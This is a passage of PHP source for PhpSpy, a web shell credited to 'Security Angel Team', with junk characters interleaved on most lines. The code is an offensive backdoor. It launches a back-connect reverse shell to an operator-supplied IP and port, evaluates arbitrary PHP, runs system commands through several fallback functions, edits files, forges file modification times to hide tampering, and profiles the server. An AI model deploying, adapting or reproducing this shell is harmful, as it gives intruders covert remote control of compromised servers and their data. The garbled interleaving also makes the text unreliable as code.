- $res = execute("/tmp/angel_bc $yourip $yourport &");" G8 g) C& J( n+ A- i
- }
' j. A Y0 h' B& ^) r - m("Now script try connect to $yourip port $yourport ...");+ {5 t$ k% ]8 b- q
- }
L; Y& J' T; |5 [ - formhead(array('title'=>'Back Connect'));" B5 x; G$ Y$ Q6 B5 t
- makehide('action','backconnect');& U8 i4 l! G: o( A1 R
- p('<p>');
3 e" V9 y O0 b! k" F. l) C - p('Your IP:');0 x; @; C L+ q9 ^7 r3 S: g
- makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));5 a- w. ~' ~% c& c5 T2 `; a
- p('Your Port:');, @: t% s9 C! Z
- makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));% \6 H W7 I4 {- B( k; j6 D8 \
- p('Use:');
& s! e* O! b1 V9 }1 N" z - makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));' \ j- j* e0 S: a e
- makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
. P' i* _: e# F/ y7 q7 I - p('</p>');, y0 p3 @2 b4 A. T& i2 n( f7 H
- formfoot();, m3 Q, Y) `2 _# b, `0 S
- }//end sql backup E! ~* v- w: T: b: N" q
- elseif ($action == 'eval') {6 k- ~8 ^/ ]/ V9 J
- $phpcode = trim($phpcode);
' R0 z8 e( U, E6 r - if($phpcode){
1 K, w3 P5 v0 n - if (!preg_match('#<\?#si', $phpcode)) {
& s4 C# t* }( M5 w2 E2 |, ] - $phpcode = "<?php\n\n{$phpcode}\n\n?>";
( B: C, ]4 ~6 ~6 ` - }
5 ]" {0 Z$ D+ g- x8 K9 u - eval("?".">$phpcode<?");
) K# b) H# p3 j; S - }
9 w; D4 d4 J3 g/ T J3 S! o - formhead(array('title'=>'Eval PHP Code'));* T1 m; Q( t3 Q
- makehide('action','eval');! \6 Z+ a1 v' r) f- e) U
- maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
' M8 e% U0 \6 W8 k - p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
& v0 d2 F/ o5 B) D$ B$ y/ ?) c0 y - formfooter();: z( B8 R+ G, D8 O
- }//end eval* t' m. _# u! N/ N8 O' N l- ~
- : E4 X$ G* W9 K& s+ W8 P( Q8 z
- elseif ($action == 'editfile') {
( n! o ]5 |8 @ - if(file_exists($opfile)) {4 L c w% n# V1 @
- $fp=@fopen($opfile,'r');
0 X A9 c+ ]/ n& k$ N' C6 L0 m) U" ] - $contents=@fread($fp, filesize($opfile));. t' U1 V+ ^, T$ l% U3 q0 l4 T) a8 m
- @fclose($fp);4 ?! q" g$ g% v0 G% K8 j p1 _3 Z
- $contents=htmlspecialchars($contents);- f$ }- ~7 u' I
- }
& F. A( j5 J( z3 M4 a. j& f" [ - formhead(array('title'=>'Create / Edit File'));
6 Y( s) Y# ], H+ w6 |& R7 V5 X - makehide('action','file');: K- J, X( k- Z8 F+ y; Q$ P
- makehide('dir',$nowpath);
1 C1 O( S# R" ?" M% t7 I% I3 w$ ? D - makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));# x B$ r$ g3 {( [0 W
- maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
! D3 |) }: \; G5 Z" A5 }4 @ - formfooter();
' d4 h4 e' m5 J, ^ - }//end editfile
/ |' H$ S# G: U( |: ^ -
# `# R8 B' P5 `* z - elseif ($action == 'newtime') {
1 g7 w J0 J# z4 S I. S" X - $opfilemtime = @filemtime($opfile);" p! W* A2 G; g! c3 _: }
- //$time = strtotime("$year-$month-$day $hour:$minute:$second");
# f7 q3 J* }; @1 S/ g# t; B+ @4 i. H - $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
) r" v* Y" O* }; f" N1 `* _8 a5 j - formhead(array('title'=>'Clone file was last modified time'));
7 b% O# e" e H0 p: V/ m: t) c - makehide('action','file');
( i9 E' P, o1 F' T+ `# }" b - makehide('dir',$nowpath);- n, p- s; @' L' f$ j4 t" h* }
- makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
/ K/ b+ j y0 B - makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));& }& T k. \6 P$ O ]+ ~( ^
- formfooter();
8 w# v) r+ X" G4 |1 T5 M. P - formhead(array('title'=>'Set last modified'));
6 U7 X& T7 K' `" w; j$ D, e - makehide('action','file');' r1 D% c, U9 \" Q5 Z+ {- a+ B
- makehide('dir',$nowpath);
# C7 G" K, L+ u* z. r h/ j% M - makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
$ q3 [. S, l* k. p1 r# O, E( h8 z - p('<p>Instead »');4 A2 N) p* y) P3 l
- p('year:');6 [' m% L+ V& _
- makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));5 T' z& O+ ^9 G% R& t) G
- p('month:');
3 C8 v; ~( v: @2 P# m1 g0 m0 G - makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
% s% w1 V2 x& Z( V6 q" `6 m) b1 v - p('day:');
) w% E! c, s( j1 Z) b' t - makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));2 A0 ~6 v+ d8 r" s
- p('hour:');
( A6 U- z s ^: {$ O - makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));9 W6 I7 o; C( j
- p('minute:');
+ z0 e8 a# q) m) l4 n# Q; x5 p" U' v - makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));1 q' D# l! [4 k7 k
- p('second:');4 b- @! Q6 c3 `3 F8 Q
- makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
$ V: C- m6 _3 j4 M0 P' e/ Y - p('</p>');$ ^5 u& T% o. c
- formfooter();& d1 b& R a+ j1 m
- }//end newtime' h3 I. x8 H2 O/ o+ o1 E
- $ P4 b; Q8 h) G3 e4 f Z2 c) J
- elseif ($action == 'shell') {
k# \4 G1 b2 A& ~, _7 { - if (IS_WIN && IS_COM) {
+ _ y& s: i; N5 _; x - if($program && $parameter) {
, R# K1 ^1 F% q k7 e' Q. | - $shell= new COM('Shell.Application');, d8 h' t7 g+ I# R3 `1 E
- $a = $shell->ShellExecute($program,$parameter);& |/ v2 Y; X2 d) s. `) T
- m('Program run has '.(!$a ? 'success' : 'fail'));
& u& U) ]* k M. p0 A& T - }2 z/ Q* v" R4 f
- !$program && $program = 'c:\windows\system32\cmd.exe';
z& R# q2 {, G" @* ~: H - !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
- l+ I: Z G. `' @/ O+ T4 A - formhead(array('title'=>'Execute Program'));" i m2 h+ w- @( ~3 I P }
- makehide('action','shell');
" a) h2 B/ i/ b; y* { - makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
8 S! i. l. B7 j1 m - p('<p>');' s% d# g- m R7 k4 N$ D
- makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1 z8 V* p( H1 Y& H# E* Y" n+ a- K - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
; `9 q% J3 ]3 Y+ C) u - p('</p>');
& x* O, n3 l1 T8 f* `; j) t - formfoot();2 ^# j) L4 J6 {2 v' E: _
- }/ B$ z$ q z; I( o5 }
- formhead(array('title'=>'Execute Command'));
+ i, p4 |5 |0 I, |3 L; H - makehide('action','shell');
7 E" o. ~. H6 P% d6 C+ ~$ j7 ~ - if (IS_WIN && IS_COM) {/ [' \0 N9 j$ i, ?/ P5 f& }
- $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
2 C: w" W8 [. Q0 F/ W+ s, J - makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));! U. F) j; k. t `2 p W% M2 M
- }& a6 X$ g( @5 a. s( h
- p('<p>');
J6 v/ w' x' y' Q; A* O9 d: g - makeinput(array('title'=>'Command','name'=>'command','value'=>$command));$ P# Y9 p0 ?6 |- ~4 p0 p' P2 K. q; X1 ]
- makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));) g, |# p( C) f% Q( d
- p('</p>');) a; f; l7 S0 H
- formfoot();
1 N8 D9 S/ K$ O% O5 M4 \8 H1 Y/ @' \2 P* T - 5 F, ~6 h" t6 O; @ y& P% U
- if ($command) {7 f6 D: W, b: O4 ^
- p('<hr width="100%" noshade /><pre>');
9 k3 n$ g* U k; z) r: X. R* Q* o - if ($execfunc=='wscript' && IS_WIN && IS_COM) {% _8 O( x* s2 | @% k" K4 b& I5 i
- $wsh = new COM('WScript.shell');7 Z6 j+ {) C! k$ z
- $exec = $wsh->exec('cmd.exe /c '.$command);
# z. t1 y8 K7 v+ m! f! m8 j - $stdout = $exec->StdOut();
- w s/ m, E* O' O9 { - $stroutput = $stdout->ReadAll();
& P$ _' N: ~6 \1 d2 H+ S - echo $stroutput;+ J0 W4 ?- q, q5 j2 N# S
- } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {* B3 O9 e8 A/ d: g- Z& n
- $descriptorspec = array(" ^& }; M6 b- I
- 0 => array('pipe', 'r'),8 h# c. V4 e `8 d
- 1 => array('pipe', 'w'),: w5 f1 M" Q, D/ a* \: b
- 2 => array('pipe', 'w')
- s& J# P; h# y7 j( x - );# T/ V% s4 [, u, I9 p3 n! U7 m
- $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
; u8 {' ]9 a! x7 }2 E" V9 Z M - if (is_resource($process)) {( L$ C* H( |& l+ o' R) R
- fwrite($pipes[0], $command."\r\n");
9 S1 ^' B, B0 [# y: S/ ] - fwrite($pipes[0], "exit\r\n");* V$ B; v! y& Z9 e- R1 K# J5 L
- fclose($pipes[0]);
; H2 B7 g" i! j" [0 X# y3 D% j - while (!feof($pipes[1])) {- Z) X+ Z- O* Z% L4 I" j# Z
- echo fgets($pipes[1], 1024);/ \# G8 g7 S1 D* u; U
- }
( d, I! S2 s& p2 U3 J. ^( j - fclose($pipes[1]);
" p. v' N' V$ n - while (!feof($pipes[2])) {' G/ \2 [0 B, x. L+ [0 \' U2 M
- echo fgets($pipes[2], 1024);
8 b4 E* e4 b) s t% {: y5 M" N2 ` - }
9 d" A3 d. y( E+ f. y - fclose($pipes[2]);- e$ y3 j0 O% Y9 F( ?- |
- proc_close($process);( q/ H5 b+ r7 f1 K9 e6 G* k
- }( d, b6 }, Z% O, p, ?/ B2 N7 ^) U1 @
- } else {7 A$ _# E+ W* i0 l U2 P& n
- echo(execute($command));' v5 e9 t5 }4 u# Z4 W L
- }7 u3 o+ X( G% Z4 v# Q; {% g
- p('</pre>');$ {$ Z$ c3 M' Y5 a
- }
* a- \0 I9 L+ r6 t: ~2 ~( b - }//end shell
/ ]+ n" Q5 J; _/ q. w+ @ -
8 W9 h6 ^1 Y# m& c* i% o' X2 G$ \ - elseif ($action == 'phpenv') {
) |4 u9 V O R - $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';( ]+ ?5 Q$ o# G0 i! [
- $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');4 T0 W$ M$ C8 e h( _5 ~% c
- !$dis_func && $dis_func = 'No';
9 N+ H2 Z& a, { - $info = array(7 t; ~" G% S* Y( |. z
- 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
+ N* ]* {$ o- c! E' |* T - 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1 K1 m6 ^9 s& ~) r) K: p - 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),- A; I# F- W, v2 l3 K, R1 K
- 4 => array('Server OS',PHP_OS),, U, p$ m" S( B
- 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
. @! t' @: u- _6 ] - 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),$ i/ A2 H: [! X
- 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),+ a ^( c% v+ X" |8 J. E
- 8 => array('PHP run mode',strtoupper(php_sapi_name())),4 l1 v' g) B9 ~5 H( u" U8 n3 S' j
- 9 => array('The file path',__FILE__),
( H7 D% s6 D" q- U1 q - . n! }' I' s7 R: Z. b
- 10 => array('PHP Version',PHP_VERSION),% f, C0 m+ A) @$ E7 Y& c
- 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No'))," g' J7 Z1 Z9 A. t
- 12 => array('Safe Mode',getcfg('safe_mode')),
/ `0 e/ K3 e) E - 13 => array('Administrator',$adminmail),. Q3 ?) y) w5 S% c0 l
- 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
( L8 s1 r& D1 Y( @, R1 F- `. t - 15 => array('enable_dl',getcfg('enable_dl')),
1 c+ p" k8 G" U K: p2 q - 16 => array('display_errors',getcfg('display_errors')), R% }! u1 k7 K
- 17 => array('register_globals',getcfg('register_globals')),/ }$ l$ n9 p1 s- I
- 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
% Y/ D% h- G5 w% v; \1 T - 19 => array('memory_limit',getcfg('memory_limit')),
8 O- E( u; T: g3 f7 g3 n6 s& ]1 _ - 20 => array('post_max_size',getcfg('post_max_size')),
+ S7 s: |9 U, Q7 [# ^ - 21 => array('upload_max_filesize',$upsize),0 n3 Q- S; P7 ]; b B- \8 R
- 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
) o0 P6 ~9 Z y8 @ d/ x - 23 => array('disable_functions',$dis_func),
, D( B4 a1 B7 v - );
8 [/ d+ }$ w: t, G -
. h; f4 s% k9 w - if($phpvarname) {. u6 z* h6 N2 q2 u, E6 _7 ]
- m($phpvarname .' : '.getcfg($phpvarname));( j3 `( x2 Z* n. r
- }5 ?8 d: V: n* p* [- h r% `& K
-
4 |: _/ o1 [5 v - formhead(array('title'=>'Server environment'));
* k7 \+ Q, P; C, j# p2 D - makehide('action','phpenv');
: h0 D* w' w' g3 Y6 ^' M - makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
/ S- @) x$ {. r9 ?" ~ - formfooter();* B. {0 a8 q% E A( D
- ' W0 e6 ]2 l' z: N7 |
- $hp = array(0=> 'Server', 1=> 'PHP');
8 V2 Q9 q* X, Z* {# B - for($a=0;$a<2;$a++) {, ^, H+ W7 v3 h* z/ e j
- p('<h2>'.$hp[$a].' »</h2>');# j% `, c# U/ w: n& n6 P' T
- p('<ul class="info">');
" w; `. d2 ]$ Q+ j' t - if ($a==0) {
9 {" N7 y- m; y8 G5 | - for($i=1;$i<=9;$i++) {
3 W3 _# @' ~% R& v# D - p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');5 O- y. O5 Q& V) U
- }
" Y. G* j3 |+ ]& X4 a4 L - } elseif ($a == 1) {* H) ~" g# N+ x$ i3 i; [
- for($i=10;$i<=23;$i++) {
0 n8 U+ a, C- `: m( @3 ], o - p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');0 o5 Q p/ i4 j6 @) ~% E
- }
1 k2 q& L2 M1 q9 n4 t" ^% F - }/ @8 J4 J/ ~ C7 @* F, |1 C5 W
- p('</ul>');6 D& T7 P6 S- V, B8 K! d N2 L
- }
5 x3 {' E- E9 p8 I+ K+ `# r - }//end phpenv
7 U& P3 V4 i2 S- m+ K -
) U0 h# A G6 j3 K+ e. G! L - else {
6 q) l; `0 B1 @; t1 \% B - m('Undefined Action');
0 I# t7 D: \; `! f - }
; ~5 q; [7 J( N: w' Y! g* ~ - 4 M# B. A; u. q# e( ^5 f
- ?>8 X* N: E* @" ^/ {( w7 d
- </td></tr></table>9 T1 w: X8 Q" i+ ]$ }) y q
- <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
( Q- H9 n- b+ \, E4 b - <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
/ d" R5 Y& Y, P* U. M - Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.. Y/ h+ i( x; ]2 {3 f8 L I+ q
- </div>8 ^, ]0 _4 s# f# ]% W
- </body>
6 e+ k4 P5 Y3 k2 Q4 Q& l% ? - </html>
6 z8 L1 P4 S2 ?) k0 r - / M. Y$ Q; o' m1 H T% r
- <?php4 g, ~" |3 N) i7 j/ ~- I/ P
-
$ W# T' G' Z4 b3 F - /*======================================================5 Q* h$ i! L+ [2 f
- 函数库8 P( Z+ N" x; V) s
- ======================================================*/+ j% M8 c4 ]# O Y& I# f5 G1 n9 V
-
0 ?8 {2 w m0 A I4 | - function m($msg) {& X2 A/ ]; @! P8 L( J, `0 [6 G
- echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';" v& W1 C2 \8 ?- ]2 ?9 G# B2 T& W
- echo $msg;
8 Y; I% h6 X1 _; e - echo '</div>';
3 W! w9 P h* B: M - }4 A4 l! r- ~8 h% x& p2 k
- function scookie($key, $value, $life = 0, $prefix = 1) {
1 _3 O x1 G" D# f7 R% a- c - global $admin, $timestamp, $_SERVER;' r) N& [( a: w" N2 T" i
- $key = ($prefix ? $admin['cookiepre'] : '').$key;- T/ K$ h8 l5 j0 Y% H% s+ E6 E
- $life = $life ? $life : $admin['cookielife'];
7 F! i$ D' Y9 q4 s, P - $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
9 N& \/ U8 ~) ?4 x - setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);8 O- b; J) L3 y+ k3 W
- } ) S) W0 V! |& |: B% b, {8 |
- function multi($num, $perpage, $curpage, $tablename) {
1 b/ @! w2 q$ t - $multipage = '';
1 n- K" M- H7 n( s% n a; T, L - if($num > $perpage) {; |- M; t5 A9 [
- $page = 10;
1 d, ?) W' l9 D. A0 g) C: ^2 e5 b - $offset = 5;( k8 s. K2 J G$ A c
- $pages = @ceil($num / $perpage);4 [! Z5 h, ?3 W% E; Y
- if($page > $pages) {
* s3 N, n% e( }) x% ] - $from = 1; E% ]1 F& y( N5 @
- $to = $pages;
0 Y/ b) A1 i0 O* @7 Y7 r' n - } else {' j# F7 }* L9 \5 R& S+ S
- $from = $curpage - $offset;1 F3 c+ q! H* g; c4 F x1 g2 c8 L
- $to = $curpage + $page - $offset - 1;- Z; J/ [5 \4 F! [) w
- if($from < 1) {4 J k; l7 S0 W( L2 W9 _
- $to = $curpage + 1 - $from;6 u+ ?% H/ U, T0 e7 N
- $from = 1;
0 q# I& Q" d7 V6 C4 V4 X - if(($to - $from) < $page && ($to - $from) < $pages) {7 a! o, ]: G6 p
- $to = $page;
$ ~: F8 f% ]% b/ t9 T/ V' k1 h - }
0 \9 D* e6 ?+ Y" x7 y/ ^3 B( q - } elseif($to > $pages) {
1 a) W+ c0 A) U' k+ \ - $from = $curpage - $pages + $to;3 E5 j' l' l# U( t$ F# ^
- $to = $pages;
* @' [! l; e( l! | - if(($to - $from) < $page && ($to - $from) < $pages) {1 ]7 ~7 c9 a E" `+ A
- $from = $pages - $page + 1;- Y* Z$ \# A0 z3 B: x
- }
% \. c7 x8 I* r% G& k3 C- _ - }! l; h, I8 y$ d) c
- }
% _1 l3 g4 {& v) I - $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
s1 y H3 s; H- Z7 [9 ]( u+ a% X - for($i = $from; $i <= $to; $i++) {
4 I j v' [# \& m0 W9 h" G - $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';; {% p* j' C/ b1 b/ S
- }
, z) J+ `% q' v' t - $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');: Y F; Q& H! q
- $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';7 T: Z9 }, v: [: F) ?
- }$ I7 j0 s* R+ o3 g% ^
- return $multipage;0 l/ q. K' P7 E; }
- }0 o6 w. M& }/ k+ a, z- g9 {1 ^
- // 登陆入口) o' A' k9 y0 Q( G
- function loginpage() {" s6 g4 x, X6 I' L M
- ?>
+ H7 H/ e- U5 x5 r3 f" r& e( C - <style type="text/css">
; U F0 h- o$ X. Y - input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}& m# \. l0 i* g5 y" g$ i
- </style>
# g u. [/ S2 u; F4 E) A - <form method="POST" action="">
7 m6 r" n+ g5 o3 R F) r& J - <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
; C; @- G% j5 _5 L1 {& d0 m7 V - <input type="hidden" name="doing" value="login">
/ P2 n3 b+ f! D* ~ - <input type="submit" value="Login">8 I: Z* Q# d8 u4 n
- </form>7 S; C2 N! i* G
- <?php4 S/ T! @+ F* e) n# {% x) X
- exit;0 t( z% J' d/ V& m% K1 ~
- }//end loginpage(), v4 b" s8 ^/ V7 E
- 6 y! @- r6 ~( c' ]. _" o7 D O
- function execute($cfe) {) s2 a7 j4 {0 n
- $res = '';
3 I S6 v& X/ y7 r! U8 y - if ($cfe) {$ q* g6 E# y8 Y. l& I9 F) G1 `
- if(function_exists('exec')) {. e6 V+ z/ Y1 M
- @exec($cfe,$res);
/ _8 m) |( E' I7 e - $res = join("\n",$res);& [6 v9 _9 Z0 {/ p9 X! t/ L
- } elseif(function_exists('shell_exec')) {$ E6 m3 z/ n. c: M" }
- $res = @shell_exec($cfe);
" S" ]. {, P! o4 B) S - } elseif(function_exists('system')) {
$ q) X. z5 Z/ k5 N - @ob_start();) g7 q: M; w# L/ _/ v
- @system($cfe);
) ?0 O. L# g& s/ l - $res = @ob_get_contents();
' x. I5 R+ x. i( V1 h - @ob_end_clean();! |6 H$ V# [" M4 m
- } elseif(function_exists('passthru')) {
! Q# F; w1 j2 J0 Q& M* U. d8 Q$ ` - @ob_start();
. b7 P2 F0 F: Z - @passthru($cfe);
, t+ w6 N( h: m4 I1 i1 L ^ - $res = @ob_get_contents();( w. p1 Z0 S- g4 t' W4 R! N" V4 q+ q
- @ob_end_clean();1 g& g. S. Q3 S* T* r
- } elseif(@is_resource($f = @popen($cfe,"r"))) {
5 u6 ^3 ]+ |) Q- g, p - $res = '';7 d$ |( Q" t+ N5 k
- while(!@feof($f)) {% D' D2 D% T2 N/ ~* J& b* v. ?
- $res .= @fread($f,1024);
$ H$ @+ C! s8 o% J4 V) W - }+ O7 q3 [$ H, Y: s6 a
- @pclose($f);
4 b& h/ x5 ~" `# K* @; U% K - }& @( V% V/ g! a/ b: W
- }
# z7 y, O8 b' I - return $res;
+ v; G8 X$ R% K' j* Y! W& u/ b - }
6 A4 S) s& x. L6 s$ B p- } - function which($pr) {8 z0 R" @2 ?) ~
- $path = execute("which $pr");. U+ r3 }( R/ Y
- return ($path ? $path : $pr); 5 j: n5 j+ E. z
- } p' c1 h; Z/ W
- 7 S$ n' f! v" L4 ]8 J/ s3 m
- function cf($fname,$text){
& B/ \! c+ @1 A$ n* ~. T - if($fp=@fopen($fname,'w')) {
0 a# ], d4 I+ x' A f: \: s - @fputs($fp,@base64_decode($text));8 y3 Y) Z1 x/ r8 b1 u0 k
- @fclose($fp);
* L- v2 w8 n3 e% [& s. O3 P - }
6 S( H: ?7 u) o M/ `/ p - }# j, G% H) ?6 m5 p7 X4 A! q* f
- 5 G: `* A' l9 g Z- {
- // 页面调试信息
6 b1 S* o% ]6 m) K - function debuginfo() {5 e% C9 ~+ ], n1 d# ^
- global $starttime;' \ u1 f3 j7 z, \$ E9 a p* }
- $mtime = explode(' ', microtime());. G R/ N6 A. A7 I4 J
- $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
; F/ B: L$ @7 i+ b( ^& i - echo 'Processed in '.$totaltime.' second(s)';$ C. }, z/ a4 V9 T: H. K8 X; ]. S& q
- }
" S* s7 v9 ?. u. @" C -
4 y& l2 b& U- v" W" S f U W - //连接数据库6 j% j, e! }9 T( O- Z4 k
- function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
% v* n+ }" |% R8 I - if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {) C2 m( b$ R# Z A
- p('<h2>Can not connect to MySQL server</h2>');7 H, D- x4 ]) U4 l+ [# c* U
- exit;6 u. e5 A1 X* K0 F( g3 r
- }% }1 H* k. E6 O
- if($link && $dbname) {
6 Z: p/ c n7 S7 {, i { - if (!@mysql_select_db($dbname, $link)) {
d0 o7 m0 E6 s0 p$ J2 }( u3 H - p('<h2>Database selected has error</h2>');
- k$ d( j& D2 s& L - exit;
$ k9 m) d+ }0 A: B9 @+ W6 p. p - }
8 \; V( J: ]; d9 L9 `) h% O - }
7 u+ b2 N* D' D+ ] - if($link && mysql_get_server_info() > '4.1') {
! r- p7 ?7 r- {0 w# } U. @ - if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {$ T1 U/ ~) A2 g9 [$ w
- q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);7 g X+ l% o; B) i, K+ j5 r8 Z
- }3 \) ~2 T) S; P& |! P) s5 f
- }) \* {: ?. P& i( d$ t6 F4 _6 Q/ n
- return $link;3 i6 u j1 _. {
- }5 U+ Z( M4 C8 a {3 ?* y0 `
- # ^) k% L' Y/ I# o- G9 g
- // 去掉转义字符' h( [ d2 h2 n, G) B8 f
- function s_array(&$array) {* T+ W0 J: d1 n" h! B4 q
- if (is_array($array)) {
1 Q4 G& q' e7 T3 q$ G+ b - foreach ($array as $k => $v) {
$ N& B3 U$ @! S/ G( Q N3 w - $array[$k] = s_array($v);: {; G; ?- \4 C
- }
7 [% k9 |9 D" f) D- L5 }9 z# X - } else if (is_string($array)) {: e9 C* l; x4 e" m D9 T5 n, o
- $array = stripslashes($array);
4 G( D# _5 i- O) w& M5 M - }
* Z# J9 C: O; R1 U% N - return $array;! \( ^/ Q* ^% i& }- z: H- G* e
- }" h3 F3 `$ E" g# l' O
- & f; z! O+ x6 `
- // 清除HTML代码/ G V) C+ A r+ x
- function html_clean($content) {
; O3 E n6 T7 m: s. u6 Y. j - $content = htmlspecialchars($content);4 J6 j6 m. b: j- R8 v
- $content = str_replace("\n", "<br />", $content);( v! D) Q+ S& r) I0 |1 a
- $content = str_replace(" ", " ", $content);
! f. c& H9 p, C% ~2 v - $content = str_replace("\t", " ", $content);! @- p L. q- B" C3 O
- return $content;
h( d9 f. F" D* \" { - }/ F/ d# t* s% y! G% g
- 3 p( U+ U3 U @: p4 S+ S0 X
- // 获取权限
- {8 d4 n, f. ?3 K7 i; a$ ]4 p - function getChmod($filepath){
$ w9 j ?0 m: r7 h, e3 H - return substr(base_convert(@fileperms($filepath),10,8),-4);. r! V3 P$ ~$ {5 U8 |3 J$ ?1 V
- }) n% z) y& }% y- G+ U, t
- ' c. d7 s- [* e! F
- function getPerms($filepath) {& [# f$ D, ^$ B4 R' O4 z! [
- $mode = @fileperms($filepath);
( k. r6 E% h& U$ b( o - if (($mode & 0xC000) === 0xC000) {$type = 's';}$ Z+ _* J9 e) {, b
- elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
! J9 P/ \! y6 N4 Y, \4 P - elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
( h0 \4 F; t u0 D; w6 A6 r7 U3 [ - elseif (($mode & 0x8000) === 0x8000) {$type = '-';} 2 \" S& ?( F( Z1 n7 _- K
- elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}+ ~# q0 M- Z: ^6 O) W
- elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}, j! |7 @' ^& I p/ T+ K( P
- elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}7 v; W9 Q' H/ z4 p, `1 b9 X, Z
- else {$type = '?';}* n* d: d# L' A! ~+ `; u: i* A O
-
% b9 M( E5 ]: k* V" t# X - $owner['read'] = ($mode & 00400) ? 'r' : '-'; 9 H2 }" v4 o0 Z+ n' [
- $owner['write'] = ($mode & 00200) ? 'w' : '-';
p/ E; z- j, o) o# P$ m9 m4 G - $owner['execute'] = ($mode & 00100) ? 'x' : '-';
! e; N0 l f& ? - $group['read'] = ($mode & 00040) ? 'r' : '-';
- J- T5 x( u9 L/ l - $group['write'] = ($mode & 00020) ? 'w' : '-';
5 e1 o8 ^0 a0 U0 j3 @: t - $group['execute'] = ($mode & 00010) ? 'x' : '-';
, C5 Z( z4 @* ` - $world['read'] = ($mode & 00004) ? 'r' : '-'; + c; w7 s8 W! ^& z% {
- $world['write'] = ($mode & 00002) ? 'w' : '-';
1 n% k6 k' j( D0 A+ p7 |! y - $world['execute'] = ($mode & 00001) ? 'x' : '-'; ' u$ W4 q# F/ i: e, r) ?! ^
-
+ F8 Z( a+ `# t K0 u$ e - if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
